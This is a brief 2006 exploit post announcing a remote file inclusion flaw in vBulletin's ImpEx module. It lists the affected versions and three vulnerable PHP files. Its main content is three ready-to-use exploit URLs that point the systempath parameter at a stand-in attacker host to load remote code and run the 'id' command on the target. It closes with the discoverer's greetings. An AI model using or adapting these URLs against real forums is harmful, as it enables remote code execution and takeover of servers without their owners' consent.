Remote File Inclusion in VBulletin ImpEx 
Date : 
12 / 4 / 2006 
Software :  
VBulletin ImpEx 
version : 

VBulletin 3.5.1
VBulletin 3.5.2
VBulletin 3.5.4

The bug reside in  : 

ImpExModule.php
ImpExController.php
ImpExDisplay.php

Exploit : 

(1)
www.site.com/forum/impex/ImpExModule.php?systempath=http://www.host_evil.com/cmd?&=id
(2)
www.site.com/forum/impex/ImpExController.php?systempath=http://www.host_evil.com/cmd?&=id
(3)
www.site.com/forum/impex/ImpExDisplay.php?systempath=http://www.host_evil.com/cmd?&=id
Discovery by :
Dr.Jr7
GreeTz : 
special greet to Qptan & Mr.SNAKE  & trooq
and to my all frinds in www.lezr.com/vb
see u :}